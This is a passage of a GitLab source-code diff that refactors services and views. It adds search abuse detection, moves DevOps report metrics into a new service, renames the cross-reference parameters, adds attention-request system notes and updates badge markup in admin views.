+ @params = Gitlab::Search::Params.new(params, detect_abuse: prevent_abusive_searches?)
end
# rubocop: disable CodeReuse/ActiveRecord
def project
- return @project if defined?(@project)
-
- @project =
- if params[:project_id].present?
+ strong_memoize(:project) do
+ if params[:project_id].present? && valid_request?
the_project = Project.find_by(id: params[:project_id])
can?(current_user, :read_project, the_project) ? the_project : nil
- else
- nil
end
+ end
end
# rubocop: enable CodeReuse/ActiveRecord
# rubocop: disable CodeReuse/ActiveRecord
def group
- return @group if defined?(@group)
-
- @group =
- if params[:group_id].present?
+ strong_memoize(:group) do
+ if params[:group_id].present? && valid_request?
the_group = Group.find_by(id: params[:group_id])
can?(current_user, :read_group, the_group) ? the_group : nil
- else
- nil
end
+ end
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -45,24 +38,23 @@ class SearchService
# overridden in EE
end
+ def global_search?
+ project.blank? && group.blank?
+ end
+
def show_snippets?
return @show_snippets if defined?(@show_snippets)
@show_snippets = params[:snippets] == 'true'
end
- def valid_query_length?
- params[:search].length <= SEARCH_CHAR_LIMIT
- end
-
- def valid_terms_count?
- params[:search].split.count { |word| word.length >= 3 } <= SEARCH_TERM_LIMIT
- end
-
delegate :scope, to: :search_service
+ delegate :valid_terms_count?, :valid_query_length?, to: :params
def search_results
- @search_results ||= search_service.execute
+ strong_memoize(:search_results) do
+ abuse_detected? ? Gitlab::EmptySearchResults.new : search_service.execute
+ end
end
def search_objects(preload_method = nil)
@@ -79,8 +71,30 @@ class SearchService
search_results.aggregations(scope)
end
+ def abuse_detected?
+ strong_memoize(:abuse_detected) do
+ params.abusive?
+ end
+ end
+
+ def abuse_messages
+ return [] unless params.abusive?
+
+ params.abuse_detection.errors.full_messages
+ end
+
+ def valid_request?
+ strong_memoize(:valid_request) do
+ params.valid?
+ end
+ end
+
private
+ def prevent_abusive_searches?
+ Feature.enabled?(:prevent_abusive_searches, current_user)
+ end
+
def page
[1, params[:page].to_i].max
end
diff --git a/app/services/service_ping/devops_report_service.rb b/app/services/service_ping/devops_report_service.rb
new file mode 100644
index 00000000000..3b8f5dfdb82
--- /dev/null
+++ b/app/services/service_ping/devops_report_service.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ServicePing
+ class DevopsReportService
+ def initialize(data)
+ @data = data
+ end
+
+ def execute
+ # `conv_index` was previously named `dev_ops_score` in
+ # version-gitlab-com, so we check both for backwards compatibility.
+ metrics = @data['conv_index'] || @data['dev_ops_score']
+
+ # Do not attempt to save a report for the first Service Ping
+ # response for a given GitLab instance, which comes without
+ # metrics.
+ return if metrics.keys == ['usage_data_id']
+
+ report = DevOpsReport::Metric.create(
+ metrics.slice(*DevOpsReport::Metric::METRICS)
+ )
+
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(ActiveRecord::RecordInvalid.new(report)) unless report.persisted?
+ end
+ end
+end
diff --git a/app/services/service_ping/submit_service.rb b/app/services/service_ping/submit_service.rb
index 63e01603d47..d3d9dcecb2b 100644
--- a/app/services/service_ping/submit_service.rb
+++ b/app/services/service_ping/submit_service.rb
@@ -6,29 +6,23 @@ module ServicePing
STAGING_BASE_URL = 'https://gitlab-services-version-gitlab-com-staging.gs-staging.gitlab.org'
USAGE_DATA_PATH = 'usage_data'
- METRICS = %w[leader_issues instance_issues percentage_issues leader_notes instance_notes
- percentage_notes leader_milestones instance_milestones percentage_milestones
- leader_boards instance_boards percentage_boards leader_merge_requests
- instance_merge_requests percentage_merge_requests leader_ci_pipelines
- instance_ci_pipelines percentage_ci_pipelines leader_environments instance_environments
- percentage_environments leader_deployments instance_deployments percentage_deployments
- leader_projects_prometheus_active instance_projects_prometheus_active
- percentage_projects_prometheus_active leader_service_desk_issues instance_service_desk_issues
- percentage_service_desk_issues].freeze
-
SubmissionError = Class.new(StandardError)
+ def initialize(skip_db_write: false)
+ @skip_db_write = skip_db_write
+ end
+
def execute
return unless ServicePing::ServicePingSettings.product_intelligence_enabled?
begin
usage_data = BuildPayloadService.new.execute
- raw_usage_data, response = submit_usage_data_payload(usage_data)
+ response = submit_usage_data_payload(usage_data)
rescue StandardError
return unless Gitlab::CurrentSettings.usage_ping_enabled?
usage_data = Gitlab::UsageData.data(force_refresh: true)
- raw_usage_data, response = submit_usage_data_payload(usage_data)
+ response = submit_usage_data_payload(usage_data)
end
version_usage_data_id = response.dig('conv_index', 'usage_data_id') || response.dig('dev_ops_score', 'usage_data_id')
@@ -37,9 +31,11 @@ module ServicePing
raise SubmissionError, "Invalid usage_data_id in response: #{version_usage_data_id}"
end
- raw_usage_data.update_version_metadata!(usage_data_id: version_usage_data_id)
-
- store_metrics(response)
+ unless @skip_db_write
+ raw_usage_data = save_raw_usage_data(usage_data)
+ raw_usage_data.update_version_metadata!(usage_data_id: version_usage_data_id)
+ DevopsReportService.new(response).execute
+ end
end
def url
@@ -60,13 +56,11 @@ module ServicePing
def submit_usage_data_payload(usage_data)
raise SubmissionError, 'Usage data is blank' if usage_data.blank?
- raw_usage_data = save_raw_usage_data(usage_data)
-
response = submit_payload(usage_data)
raise SubmissionError, "Unsuccessful response code: #{response.code}" unless response.success?
- [raw_usage_data, response]
+ response
end
def save_raw_usage_data(usage_data)
@@ -75,16 +69,6 @@ module ServicePing
end
end
- def store_metrics(response)
- metrics = response['conv_index'] || response['dev_ops_score'] # leaving dev_ops_score here, as the response data comes from the gitlab-version-com
-
- return unless metrics.except('usage_data_id').present?
-
- DevOpsReport::Metric.create!(
- metrics.slice(*METRICS)
- )
- end
-
# See https://gitlab.com/gitlab-org/gitlab/-/issues/233615 for details
def base_url
Rails.env.production? ? PRODUCTION_BASE_URL : STAGING_BASE_URL
diff --git a/app/services/system_note_service.rb b/app/services/system_note_service.rb
index dc5cf0fe554..0d13c73d49d 100644
--- a/app/services/system_note_service.rb
+++ b/app/services/system_note_service.rb
@@ -115,6 +115,14 @@ module SystemNoteService
::SystemNotes::IssuablesService.new(noteable: noteable, project: project, author: author).change_status(status, source)
end
+ def request_attention(noteable, project, author, user)
+ ::SystemNotes::IssuablesService.new(noteable: noteable, project: project, author: author).request_attention(user)
+ end
+
+ def remove_attention_request(noteable, project, author, user)
+ ::SystemNotes::IssuablesService.new(noteable: noteable, project: project, author: author).remove_attention_request(user)
+ end
+
# Called when 'merge when pipeline succeeds' is executed
def merge_when_pipeline_succeeds(noteable, project, author, sha)
::SystemNotes::MergeRequestsService.new(noteable: noteable, project: project, author: author).merge_when_pipeline_succeeds(sha)
@@ -213,12 +221,12 @@ module SystemNoteService
::SystemNotes::MergeRequestsService.new(noteable: issue, project: project, author: author).new_merge_request(merge_request)
end
- def cross_reference(noteable, mentioner, author)
- ::SystemNotes::IssuablesService.new(noteable: noteable, author: author).cross_reference(mentioner)
+ def cross_reference(mentioned, mentioned_in, author)
+ ::SystemNotes::IssuablesService.new(noteable: mentioned, author: author).cross_reference(mentioned_in)
end
- def cross_reference_exists?(noteable, mentioner)
- ::SystemNotes::IssuablesService.new(noteable: noteable).cross_reference_exists?(mentioner)
+ def cross_reference_exists?(mentioned, mentioned_in)
+ ::SystemNotes::IssuablesService.new(noteable: mentioned).cross_reference_exists?(mentioned_in)
end
def change_task_status(noteable, project, author, new_task)
@@ -249,8 +257,8 @@ module SystemNoteService
::SystemNotes::IssuablesService.new(noteable: issuable, project: issuable.project, author: author).discussion_lock
end
- def cross_reference_disallowed?(noteable, mentioner)
- ::SystemNotes::IssuablesService.new(noteable: noteable).cross_reference_disallowed?(mentioner)
+ def cross_reference_disallowed?(mentioned, mentioned_in)
+ ::SystemNotes::IssuablesService.new(noteable: mentioned).cross_reference_disallowed?(mentioned_in)
end
def zoom_link_added(issue, project, author)
diff --git a/app/services/system_notes/issuables_service.rb b/app/services/system_notes/issuables_service.rb
index 94629ae7609..d33dcd65589 100644
--- a/app/services/system_notes/issuables_service.rb
+++ b/app/services/system_notes/issuables_service.rb
@@ -154,9 +154,8 @@ module SystemNotes
create_note(NoteSummary.new(noteable, project, author, body, action: 'description'))
end
- # Called when a Mentionable references a Noteable
- #
- # mentioner - Mentionable object
+ # Called when a Mentionable (the `mentioned_in`) references another Mentionable (the `mentioned`,
+ # passed to this service as `noteable`).
#
# Example Note text:
#
@@ -168,19 +167,20 @@ module SystemNotes
#
# See cross_reference_note_content.
#
- # Returns the created Note object
- def cross_reference(mentioner)
- return if cross_reference_disallowed?(mentioner)
+ # @param mentioned_in [Mentionable]
+ # @return [Note]
+ def cross_reference(mentioned_in)
+ return if cross_reference_disallowed?(mentioned_in)
- gfm_reference = mentioner.gfm_reference(noteable.project || noteable.group)
+ gfm_reference = mentioned_in.gfm_reference(noteable.project || noteable.group)
body = cross_reference_note_content(gfm_reference)
if noteable.is_a?(ExternalIssue)
Integrations::CreateExternalCrossReferenceWorker.perform_async(
noteable.project_id,
noteable.id,
- mentioner.class.name,
- mentioner.id,
+ mentioned_in.class.name,
+ mentioned_in.id,
author.id
)
else
@@ -195,15 +195,14 @@ module SystemNotes
# in a merge request. Additionally, it prevents the creation of references to
# external issues (which would fail).
#
- # mentioner - Mentionable object
- #
- # Returns Boolean
- def cross_reference_disallowed?(mentioner)
+ # @param mentioned_in [Mentionable]
+ # @return [Boolean]
+ def cross_reference_disallowed?(mentioned_in)
return true if noteable.is_a?(ExternalIssue) && !noteable.project&.external_references_supported?
- return false unless mentioner.is_a?(MergeRequest)
+ return false unless mentioned_in.is_a?(MergeRequest)
return false unless noteable.is_a?(Commit)
- mentioner.commits.include?(noteable)
+ mentioned_in.commits.include?(noteable)
end
# Called when the status of a Task has changed
@@ -309,38 +308,49 @@ module SystemNotes
create_resource_state_event(status: status, mentionable_source: source)
end
- # Check if a cross reference to a noteable from a mentioner already exists
+ # Check if a cross reference to a Mentionable from the `mentioned_in` Mentionable
+ # already exists.
#
# This method is used to prevent multiple notes being created for a mention
- # when a issue is updated, for example. The method also calls notes_for_mentioner
- # to check if the mentioner is a commit, and return matches only on commit hash
+ # when a issue is updated, for example. The method also calls `existing_mentions_for`
+ # to check if the mention is in a commit, and return matches only on commit hash
# instead of project + commit, to avoid repeated mentions from forks.
#
- # mentioner - Mentionable object
- #
- # Returns Boolean
- def cross_reference_exists?(mentioner)
+ # @param mentioned_in [Mentionable]
+ # @return [Boolean]
+ def cross_reference_exists?(mentioned_in)
notes = noteable.notes.system
- notes_for_mentioner(mentioner, noteable, notes).exists?
+ existing_mentions_for(mentioned_in, noteable, notes).exists?
end
- # Called when a Noteable has been marked as a duplicate of another Issue
+ # Called when a user's attention has been requested for a Notable
#
- # canonical_issue - Issue that this is a duplicate of
+ # user - User's whos attention has been requested
#
# Example Note text:
#
- # "marked this issue as a duplicate of #1234"
- #
- # "marked this issue as a duplicate of other_project#5678"
+ # "requested attention from @eli.wisoky"
#
# Returns the created Note object
- def mark_duplicate_issue(canonical_issue)
- body = "marked this issue as a duplicate of #{canonical_issue.to_reference(project)}"
+ def request_attention(user)
+ body = "requested attention from #{user.to_reference}"
- issue_activity_counter.track_issue_marked_as_duplicate_action(author: author) if noteable.is_a?(Issue)
+ create_note(NoteSummary.new(noteable, project, author, body, action: 'attention_requested'))
+ end
- create_note(NoteSummary.new(noteable, project, author, body, action: 'duplicate'))
+ # Called when a user's attention request has been removed for a Notable
+ #
+ # user - User's whos attention request has been removed
+ #
+ # Example Note text:
+ #
+ # "removed attention request from @eli.wisoky"
+ #
+ # Returns the created Note object
+ def remove_attention_request(user)
+ body = "removed attention request from #{user.to_reference}"
+
+ create_note(NoteSummary.new(noteable, project, author, body, action: 'attention_request_removed'))
end
# Called when a Noteable has been marked as the canonical Issue of a duplicate
@@ -359,6 +369,25 @@ module SystemNotes
create_note(NoteSummary.new(noteable, project, author, body, action: 'duplicate'))
end
+ # Called when a Noteable has been marked as a duplicate of another Issue
+ #
+ # canonical_issue - Issue that this is a duplicate of
+ #
+ # Example Note text:
+ #
+ # "marked this issue as a duplicate of #1234"
+ #
+ # "marked this issue as a duplicate of other_project#5678"
+ #
+ # Returns the created Note object
+ def mark_duplicate_issue(canonical_issue)
+ body = "marked this issue as a duplicate of #{canonical_issue.to_reference(project)}"
+
+ issue_activity_counter.track_issue_marked_as_duplicate_action(author: author) if noteable.is_a?(Issue)
+
+ create_note(NoteSummary.new(noteable, project, author, body, action: 'duplicate'))
+ end
+
def add_email_participants(body)
create_note(NoteSummary.new(noteable, project, author, body))
end
@@ -398,12 +427,12 @@ module SystemNotes
"#{self.class.cross_reference_note_prefix}#{gfm_reference}"
end
- def notes_for_mentioner(mentioner, noteable, notes)
- if mentioner.is_a?(Commit)
- text = "#{self.class.cross_reference_note_prefix}%#{mentioner.to_reference(nil)}"
+ def existing_mentions_for(mentioned_in, noteable, notes)
+ if mentioned_in.is_a?(Commit)
+ text = "#{self.class.cross_reference_note_prefix}%#{mentioned_in.to_reference(nil)}"
notes.like_note_or_capitalized_note(text)
else
- gfm_reference = mentioner.gfm_reference(noteable.project || noteable.group)
+ gfm_reference = mentioned_in.gfm_reference(noteable.project || noteable.group)
text = cross_reference_note_content(gfm_reference)
notes.for_note_or_capitalized_note(text)
end
diff --git a/app/services/todos/destroy/private_features_service.rb b/app/services/todos/destroy/private_features_service.rb
deleted file mode 100644
index 44c3ff231f8..00000000000
--- a/app/services/todos/destroy/private_features_service.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-module Todos
- module Destroy
- class PrivateFeaturesService < ::Todos::Destroy::BaseService
- attr_reader :project_ids, :user_id
-
- def initialize(project_ids, user_id = nil)
- @project_ids = project_ids
- @user_id = user_id
- end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def execute
- ProjectFeature.where(project_id: project_ids).each do |project_features|
- target_types = []
- target_types << Issue.name if private?(project_features.issues_access_level)
- target_types << MergeRequest.name if private?(project_features.merge_requests_access_level)
- target_types << Commit.name if private?(project_features.repository_access_level)
-
- next if target_types.empty?
-
- remove_todos(project_features.project_id, target_types)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- private
-
- def private?(feature_level)
- feature_level == ProjectFeature::PRIVATE
- end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def remove_todos(project_id, target_types)
- items = Todo.where(project_id: project_id)
- items = items.where(user_id: user_id) if user_id
-
- items.where.not(user_id: authorized_users)
- .where(target_type: target_types)
- .delete_all
- end
- # rubocop: enable CodeReuse/ActiveRecord
- end
- end
-end
diff --git a/app/services/todos/destroy/unauthorized_features_service.rb b/app/services/todos/destroy/unauthorized_features_service.rb
new file mode 100644
index 00000000000..513def10575
--- /dev/null
+++ b/app/services/todos/destroy/unauthorized_features_service.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module Todos
+ module Destroy
+ class UnauthorizedFeaturesService < ::Todos::Destroy::BaseService
+ attr_reader :project_id, :user_id
+
+ BATCH_SIZE = 1000
+
+ def initialize(project_id, user_id = nil)
+ @project_id = project_id
+ @user_id = user_id
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def execute
+ return if user_id && authorized_users.where(user_id: user_id).exists?
+
+ related_todos.each_batch(of: BATCH_SIZE) do |batch|
+ pending_delete = without_authorized(batch).includes(:target, :user).reject do |todo|
+ Ability.allowed?(todo.user, :read_todo, todo, scope: :user)
+ end
+ Todo.where(id: pending_delete).delete_all if pending_delete.present?
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ private
+
+ def related_todos
+ base_scope = Todo.for_project(project_id)
+ base_scope = base_scope.for_user(user_id) if user_id
+ base_scope
+ end
+
+ # Compatibility for #authorized_users in this class we always work
+ # with 1 project for queries efficiency
+ def project_ids
+ [project_id]
+ end
+ end
+ end
+end
diff --git a/app/services/users/dismiss_callout_service.rb b/app/services/users/dismiss_callout_service.rb
new file mode 100644
index 00000000000..4324e6232c2
--- /dev/null
+++ b/app/services/users/dismiss_callout_service.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Users
+ class DismissCalloutService < BaseContainerService
+ def execute
+ callout.tap do |record|
+ record.update(dismissed_at: Time.current) if record.valid?
+ end
+ end
+
+ private
+
+ def callout
+ current_user.find_or_initialize_callout(params[:feature_name])
+ end
+ end
+end
diff --git a/app/services/users/dismiss_group_callout_service.rb b/app/services/users/dismiss_group_callout_service.rb
index 8afee6a8187..f482142b911 100644
--- a/app/services/users/dismiss_group_callout_service.rb
+++ b/app/services/users/dismiss_group_callout_service.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Users
- class DismissGroupCalloutService < DismissUserCalloutService
+ class DismissGroupCalloutService < DismissCalloutService
private
def callout
diff --git a/app/services/users/dismiss_user_callout_service.rb b/app/services/users/dismiss_user_callout_service.rb
deleted file mode 100644
index 96f3f3acb57..00000000000
--- a/app/services/users/dismiss_user_callout_service.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-module Users
- class DismissUserCalloutService < BaseContainerService
- def execute
- callout.tap do |record|
- record.update(dismissed_at: Time.current) if record.valid?
- end
- end
-
- private
-
- def callout
- current_user.find_or_initialize_callout(params[:feature_name])
- end
- end
-end
diff --git a/app/services/users/refresh_authorized_projects_service.rb b/app/services/users/refresh_authorized_projects_service.rb
index 2d9766c3c56..fe61335f3ed 100644
--- a/app/services/users/refresh_authorized_projects_service.rb
+++ b/app/services/users/refresh_authorized_projects_service.rb
@@ -63,12 +63,12 @@ module Users
# Updates the list of authorizations for the current user.
#
# remove - The IDs of the authorization rows to remove.
- # add - Rows to insert in the form `[user id, project id, access level]`
+ # add - Rows to insert in the form `[{ user_id: user_id, project_id: project_id, access_level: access_level}, ...]`
def update_authorizations(remove = [], add = [])
log_refresh_details(remove, add)
- user.remove_project_authorizations(remove) unless remove.empty?
- ProjectAuthorization.insert_authorizations(add) unless add.empty?
+ user.remove_project_authorizations(remove) if remove.any?
+ ProjectAuthorization.insert_all_in_batches(add) if add.any?
# Since we batch insert authorization rows, Rails' associations may get
# out of sync. As such we force a reload of the User object.
@@ -88,7 +88,7 @@ module Users
# most often there's only a few entries in remove and add, but limit it to the first 5
# entries to avoid flooding the logs
'authorized_projects_refresh.rows_deleted_slice': remove.first(5),
- 'authorized_projects_refresh.rows_added_slice': add.first(5))
+ 'authorized_projects_refresh.rows_added_slice': add.first(5).map(&:values))
end
end
end
diff --git a/app/services/verify_pages_domain_service.rb b/app/services/verify_pages_domain_service.rb
index eab1e91dc89..408ee429a74 100644
--- a/app/services/verify_pages_domain_service.rb
+++ b/app/services/verify_pages_domain_service.rb
@@ -85,7 +85,8 @@ class VerifyPagesDomainService < BaseService
end
def check(domain_name, resolver)
- records = parse(txt_records(domain_name, resolver))
+ # Append '.' to domain_name, indicating absolute FQDN
+ records = parse(txt_records(domain_name + '.', resolver))
records.any? do |record|
record == domain.keyed_verification_code || record == domain.verification_code
diff --git a/app/uploaders/lfs_object_uploader.rb b/app/uploaders/lfs_object_uploader.rb
index 0a966f3d44f..027857500f4 100644
--- a/app/uploaders/lfs_object_uploader.rb
+++ b/app/uploaders/lfs_object_uploader.rb
@@ -9,7 +9,7 @@ class LfsObjectUploader < GitlabUploader
alias_method :upload, :model
def filename
- model.oid[4..-1]
+ model.oid[4..]
end
def store_dir
diff --git a/app/validators/json_schemas/error_tracking_event_payload.json b/app/validators/json_schemas/error_tracking_event_payload.json
index 73ff71043ce..1497a05a68f 100644
--- a/app/validators/json_schemas/error_tracking_event_payload.json
+++ b/app/validators/json_schemas/error_tracking_event_payload.json
@@ -57,7 +57,7 @@
"type": "array"
},
"context_line": {
- "type": "string"
+ "type": ["string", "null"]
},
"post_context": {
"type": "array"
diff --git a/app/views/admin/application_settings/_account_and_limit.html.haml b/app/views/admin/application_settings/_account_and_limit.html.haml
index 19c38d7be62..65882491575 100644
--- a/app/views/admin/application_settings/_account_and_limit.html.haml
+++ b/app/views/admin/application_settings/_account_and_limit.html.haml
@@ -32,6 +32,7 @@
= render_if_exists 'admin/application_settings/git_two_factor_session_expiry', form: f
= render_if_exists 'admin/application_settings/personal_access_token_expiration_policy', form: f
= render_if_exists 'admin/application_settings/enforce_pat_expiration', form: f
+ = render_if_exists 'admin/application_settings/ssh_key_expiration_policy', form: f
= render_if_exists 'admin/application_settings/enforce_ssh_key_expiration', form: f
.form-group
diff --git a/app/views/admin/application_settings/_package_registry.html.haml b/app/views/admin/application_settings/_package_registry.html.haml
index 7cdadaaf37b..398e63cdfdc 100644
--- a/app/views/admin/application_settings/_package_registry.html.haml
+++ b/app/views/admin/application_settings/_package_registry.html.haml
@@ -33,6 +33,9 @@
= f.label :conan_max_file_size, _('Maximum Conan package file size in bytes'), class: 'label-bold'
= f.number_field :conan_max_file_size, class: 'form-control gl-form-input'
.form-group
+ = f.label :helm_max_file_size, _('Maximum Helm chart file size in bytes'), class: 'label-bold'
+ = f.number_field :helm_max_file_size, class: 'form-control gl-form-input'
+ .form-group
= f.label :maven_max_file_size, _('Maximum Maven package file size in bytes'), class: 'label-bold'
= f.number_field :maven_max_file_size, class: 'form-control gl-form-input'
.form-group
diff --git a/app/views/admin/application_settings/_snowplow.html.haml b/app/views/admin/application_settings/_snowplow.html.haml
index 756c0e770a6..f7a6a26c645 100644
--- a/app/views/admin/application_settings/_snowplow.html.haml
+++ b/app/views/admin/application_settings/_snowplow.html.haml
@@ -1,5 +1,5 @@
- expanded = integration_expanded?('snowplow_')
-%section.settings.as-snowplow.no-animate#js-snowplow-settings{ class: ('expanded' if expanded) }
+%section.settings.as-snowplow.no-animate#js-snowplow-settings{ class: ('expanded' if expanded), data: { qa_selector: 'snowplow_settings_content' } }
.settings-header
%h4
= _('Snowplow')
@@ -15,7 +15,7 @@
%fieldset
.form-group
.form-check
- = f.check_box :snowplow_enabled, class: 'form-check-input'
+ = f.check_box :snowplow_enabled, class: 'form-check-input', data: { qa_selector: 'snowplow_enabled_checkbox' }
= f.label :snowplow_enabled, _('Enable Snowplow tracking'), class: 'form-check-label'
.form-group
= f.label :snowplow_collector_hostname, _('Collector hostname'), class: 'label-light'
@@ -33,4 +33,4 @@
.form-text.text-muted
= _('The Snowplow cookie domain.')
- = f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
+ = f.submit _('Save changes'), class: 'gl-button btn btn-confirm', data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/admin/application_settings/network.html.haml b/app/views/admin/application_settings/network.html.haml
index 3a053205725..61a2f97764f 100644
--- a/app/views/admin/application_settings/network.html.haml
+++ b/app/views/admin/application_settings/network.html.haml
@@ -37,17 +37,16 @@
.settings-content
= render partial: 'network_rate_limits', locals: { anchor: 'js-packages-limits-settings', setting_fragment: 'packages_api' }
-- if Feature.enabled?(:files_api_throttling, default_enabled: :yaml)
- %section.settings.as-files-limits.no-animate#js-files-limits-settings{ class: ('expanded' if expanded_by_default?) }
- .settings-header
- %h4
- = _('Files API Rate Limits')
- %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
- = expanded_by_default? ? _('Collapse') : _('Expand')
- %p
- = _('Configure specific limits for Files API requests that supersede the general user and IP rate limits.')
- .settings-content
- = render partial: 'network_rate_limits', locals: { anchor: 'js-files-limits-settings', setting_fragment: 'files_api' }
+%section.settings.as-files-limits.no-animate#js-files-limits-settings{ class: ('expanded' if expanded_by_default?) }
+ .settings-header
+ %h4
+ = _('Files API Rate Limits')
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded_by_default? ? _('Collapse') : _('Expand')
+ %p
+ = _('Configure specific limits for Files API requests that supersede the general user and IP rate limits.')
+ .settings-content
+ = render partial: 'network_rate_limits', locals: { anchor: 'js-files-limits-settings', setting_fragment: 'files_api' }
%section.settings.as-deprecated-limits.no-animate#js-deprecated-limits-settings{ class: ('expanded' if expanded_by_default?) }
.settings-header
diff --git a/app/views/admin/dashboard/_security_newsletter_callout.html.haml b/app/views/admin/dashboard/_security_newsletter_callout.html.haml
index ece0f7ca4d9..3aba91e8765 100644
--- a/app/views/admin/dashboard/_security_newsletter_callout.html.haml
+++ b/app/views/admin/dashboard/_security_newsletter_callout.html.haml
@@ -5,7 +5,7 @@
variant: :tip,
alert_class: 'js-security-newsletter-callout',
is_contained: true,
- alert_data: { feature_id: UserCalloutsHelper::SECURITY_NEWSLETTER_CALLOUT, dismiss_endpoint: user_callouts_path, defer_links: 'true' },
+ alert_data: { feature_id: Users::CalloutsHelper::SECURITY_NEWSLETTER_CALLOUT, dismiss_endpoint: callouts_path, defer_links: 'true' },
close_button_data: { testid: 'close-security-newsletter-callout' } do
.gl-alert-body
= s_('AdminArea|Sign up for the GitLab Security Newsletter to get notified for security updates.')
diff --git a/app/views/admin/dashboard/index.html.haml b/app/views/admin/dashboard/index.html.haml
index 4197d5b961f..801b903395a 100644
--- a/app/views/admin/dashboard/index.html.haml
+++ b/app/views/admin/dashboard/index.html.haml
@@ -3,6 +3,8 @@
- billable_users_url = help_page_path('subscriptions/self_managed/index', anchor: 'billable-users')
- billable_users_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer nofollow">'.html_safe % { url: billable_users_url }
+= render_if_exists 'shared/manual_renewal_banner'
+= render_if_exists 'shared/manual_quarterly_reconciliation_banner'
= render_if_exists 'shared/qrtly_reconciliation_alert'
= render 'admin/dashboard/security_newsletter_callout'
diff --git a/app/views/admin/groups/show.html.haml b/app/views/admin/groups/show.html.haml
index ae809f01592..09f2d431197 100644
--- a/app/views/admin/groups/show.html.haml
+++ b/app/views/admin/groups/show.html.haml
@@ -70,15 +70,13 @@
.card
.card-header
= _('Projects')
- %span.badge.badge-pill
- #{@group.projects.count}
+ = gl_badge_tag @group.projects.count
%ul.content-list
- @projects.each do |project|
%li
%strong
= link_to project.full_name, [:admin, project]
- %span.badge.badge-pill
- = storage_counter(project.statistics.storage_size)
+ = gl_badge_tag storage_counter(project.statistics.storage_size)
%span.float-right.light
%span.monospace= project.full_path + '.git'
- unless @projects.size < Kaminari.config.default_per_page
@@ -90,15 +88,13 @@
.card
.card-header
= _('Projects shared with %{group_name}') % { group_name: @group.name }
- %span.badge.badge-pill
- #{shared_projects.size}
+ = gl_badge_tag shared_projects.size
%ul.content-list
- shared_projects.each do |project|
%li
%strong
= link_to project.full_name, [:admin, project]
- %span.badge.badge-pill
- = storage_counter(project.statistics.storage_size)
+ = gl_badge_tag storage_counter(project.statistics.storage_size)
%span.float-right.light
%span.monospace= project.full_path + '.git'
@@ -126,7 +122,7 @@
.card
.card-header
= html_escape(_("%{group_name} group members")) % { group_name: "<strong>#{html_escape(@group.name)}</strong>".html_safe }
- %span.badge.badge-pill= @group.users_count
+ = gl_badge_tag @group.users_count
= render 'shared/members/manage_access_button', path: group_group_members_path(@group)
%ul.content-list.group-users-list.content-list.members-list
= render partial: 'shared/members/member',
diff --git a/app/views/admin/hooks/edit.html.haml b/app/views/admin/hooks/edit.html.haml
index 93038e63a2e..9c258e10008 100644
--- a/app/views/admin/hooks/edit.html.haml
+++ b/app/views/admin/hooks/edit.html.haml
@@ -1,6 +1,8 @@
- add_to_breadcrumbs @hook.pluralized_name, admin_hooks_path
- page_title _('Edit System Hook')
+= render 'shared/web_hooks/hook_errors', hook: @hook
+
.row.gl-mt-3
.col-lg-3
= render 'shared/web_hooks/title_and_docs', hook: @hook
diff --git a/app/views/admin/labels/index.html.haml b/app/views/admin/labels/index.html.haml
index 6007d891aad..66fd18e1b76 100644
--- a/app/views/admin/labels/index.html.haml
+++ b/app/views/admin/labels/index.html.haml
@@ -6,13 +6,27 @@
%h3.page-title
= _('Labels')
%hr
-
-.labels.labels-container.admin-labels.gl-bg-gray-10.gl-border-solid.gl-border-1.gl-border-gray-100
- - if @labels.present?
+- if @labels.present?
+ .labels.labels-container.admin-labels.js-admin-labels-container.gl-bg-gray-10.gl-border-solid.gl-border-1.gl-border-gray-100
%ul.manage-labels-list
= render @labels
= paginate @labels, theme: 'gitlab'
- .nothing-here-block{ class: ('hidden' if @labels.present?) }
- = _('There are no labels yet')
+.js-admin-labels-empty-state{ class: ('gl-display-none' if @labels.present?) }
+ %section.row.empty-state.gl-text-center
+ .col-12
+ .svg-content
+ = image_tag 'illustrations/labels.svg'
+ .col-12
+ .gl-mx-auto.gl-my-0.gl-p-5
+ %h1.gl-font-size-h-display.gl-line-height-36.h4
+ = s_('AdminLabels|Define your default set of project labels')
+ %p.gl-mb-0
+ = s_('AdminLabels|Labels created here will be automatically added to new projects.')
+ %p
+ = s_('AdminLabels|They can be used to categorize issues and merge requests.')
+ .gl-display-flex.gl-flex-wrap.gl-justify-content-center
+ = link_to new_admin_label_path, class: "btn gl-mb-3 btn-confirm btn-md gl-button gl-mx-2" do
+ %span.gl-button-text
+ = _('New label')
diff --git a/app/views/admin/projects/_archived.html.haml b/app/views/admin/projects/_archived.html.haml
index 8b4d5806c47..3d79cc7ca71 100644
--- a/app/views/admin/projects/_archived.html.haml
+++ b/app/views/admin/projects/_archived.html.haml
@@ -1,3 +1,2 @@
- if project.archived
- %span.badge.badge-warning
- = _('archived')
+ = gl_badge_tag _('archived'), variant: :warning
diff --git a/app/views/admin/projects/_projects.html.haml b/app/views/admin/projects/_projects.html.haml
index 6f7cea85ed1..f56b77813b5 100644
--- a/app/views/admin/projects/_projects.html.haml
+++ b/app/views/admin/projects/_projects.html.haml
@@ -9,8 +9,7 @@
= s_('AdminProjects|Delete')
.stats
- %span.badge.badge-pill
- = storage_counter(project.statistics&.storage_size)
+ = gl_badge_tag storage_counter(project.statistics&.storage_size)
= render_if_exists 'admin/projects/archived', project: project
.title
= link_to(admin_project_path(project)) do
diff --git a/app/views/admin/projects/show.html.haml b/app/views/admin/projects/show.html.haml
index 3069aab2710..ee2e63353f0 100644
--- a/app/views/admin/projects/show.html.haml
+++ b/app/views/admin/projects/show.html.haml
